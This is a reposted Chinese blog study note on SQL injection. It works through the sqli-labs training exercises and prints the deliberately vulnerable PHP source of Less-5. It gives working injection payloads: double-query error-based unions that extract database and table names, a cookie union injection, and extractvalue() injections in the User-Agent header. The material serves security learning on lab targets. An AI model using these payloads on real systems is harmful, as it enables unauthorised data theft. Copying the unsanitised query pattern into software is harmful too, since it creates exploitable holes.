飞道的博客

网安学习Day14(web漏洞-SQL注入类型及提交注入)

264人阅读  评论(0)


简要明确参数类型

  • 数字,字符,搜索,JSON等
  • 数字—id=1为数字型,int、float、double
mysql> select * from emails where id=1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id:    5
Current database: security

+----+------------------+
| id | email_id         |
+----+------------------+
|  1 | Dumb@dhakkan.com |
+----+------------------+
1 row in set (0.05 sec)

  • 字符和字符串的搜索必须加上’’
mysql> select * from emails where email_id=Dumb@dhakkan.com;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '@dhakkan.com' at line 1
mysql> select * from emails where email_id='Dumb@dhakkan.com';
+----+------------------+
| id | email_id         |
+----+------------------+
|  1 | Dumb@dhakkan.com |
+----+------------------+
1 row in set (0.01 sec)

  $name=$_get[‘x’];

  $sql=” select * from user where name=’$name’”; 

如果注入语句: ?x=xiaodi and 1=1
数据库查询语句:select * from user where name=‘xiaodi and 1=1’;使得查询语句失效
正确的注入语句: x=xiaodi’and 1=’1

简要明确请求方法

GET, POST,COOKIE,REQUEST,HTTP头等
其中sql语句干扰符号: ',",s,),}等,具体需看写法
可能有些网站是以Request的方式接受参数,所以GET和POST都行
注入的地方可能在User-Agent上,关键是看是否带入数据库查询。

参数字符型注入测试=>sqlilabs less 5 6

sqlilabs less 5

less 5为Double Injection

  • 双查询注入:是两个嵌套的查询,即select …(select …),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:

  • rand()随机函数,返回0~1之间的某个值

  • floor(a)取整函数,返回小于等于a,且值最接近a的一个整数

  • count()聚合函数也称作计数函数,返回查询对象的总数

  • group by cluase分组语句,按照cluase对查询结果分组

  • 双注入破解原理:组合利用count(), group by, floor(),能够将查询的一部分以报错的形式显现出来。

  • 双注入的公式:

    • select count(*),concat((payload), floor(rand(0)*2)) as a from information_schema.tables group by a
      **

  • 正常页面

    判断注入点时候发现输入?id=1 and 1=2没有任何反应

而less-2输入确实这样

访问less-5的index.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-5 Double Query- Single Quotes- String</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
   
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
   
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
   
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else {
    echo "Please input the ID as parameter with numeric value";}

?>

</font> </div></br></br></br><center>
<img src="../images/Less-5.jpg" /></center>
</body>
</html>


 

发现参数在传递过程中,加了’id’

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

//SQL执行的语句是采用了’'闭合,
//我们要是直接使用?id=1 and 1=1相当于执行的是SELECT * FROM users WHERE id=‘1 and 1=1’ LIMIT 0,1;是不会有任何的反应。
所以less-5在注入的时候应该输入?‘id=1’

报错语句:
http://10.1.1.133/Less-5/?id=1' and '1'='1
http://10.1.1.133/Less-5/?id=1' and '1'='2


数据库相关操作:

mysql> SELECT * FROM users WHERE id='1' and '1'='1' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> SELECT * FROM users WHERE id='1' and '1'='2' LIMIT 0,1;
Empty set (0.00 sec)

  • order by 猜解
    • oder by 4

'- -+'是将后面的代码注释不执行。加入“ ‘ ”后出现语法错误,说明sql语句中的id加上引号进行了闭合,使我们无法查询到信息。在后面加“-–+” 把后面的语句注释掉,这样子sql语句就会形成闭合

数据库操作:

mysql>  SELECT * FROM users WHERE id='1' order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
mysql>  SELECT * FROM users WHERE id='1' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

利用语句查询信息:

?id=1' union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+     

查询security库下的表名:
http://127.0.0.1/Less-5/?id=1%27%20union%20select%201,%20count(*),%20concat((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),%20%27---%27,%20floor(rand(0)*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a%20--+

sqlilabs less 6

判断是字符型注入还是数字型注入

?id=1 and 1=1
?id=1 and 1=2

区别一样。所以不是数字型注入
尝试单引号和双引号


所以less6的注入类型为:是双引号字符型注入

也可以通过查看index.php判断

  • 采用双引号的方式进行了编码,绕过方法"闭合前面的引号后面采用‘- -+’注释

POST数据提交注入测试=>sqlilabs less 11

  • 原理:表单通过post传输数据,然后查询数据库比对,如果匹配则登录。因此,符合注入的条件
    打开less-10

bp抓包


查看index.php uname和passwd为单引号
这里添加一个echo回显

利用上述方法判断什么类型注入。为字符型
再用order by猜解个数



有三个
联合查询进行信息收集


其他操作同理

参数JSON数据注入测试=>本地环境代码演示

json格式

json注入
注入方式:如果是数字的可以不加’闭合如果是字符的话,加上"闭合

COOKIE数据提交注入测试=>sqlilabs less 20

随便输入一个用户名密码,bp抓包然后发送到repeater重发器

修改cookie为Cookie: uname=admin' and 1=2 union select database(),2,3 #

HTTP头部参数数据注入测试=>sqlilabs less 18

在配置文件中添加一行显示SQL语句执行的显示界面

bp抓包发送到重发器

修改数据包注入获取数据库名称 :'and extractvalue (1,concat(0x7e,(select database()),0x7e)) and'

修改用户代理 User-Agent: ' and extractvalue (1,concat(0x7e,(select user()),0x7e)) and '


转载:https://blog.csdn.net/m0_57485346/article/details/128032148
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场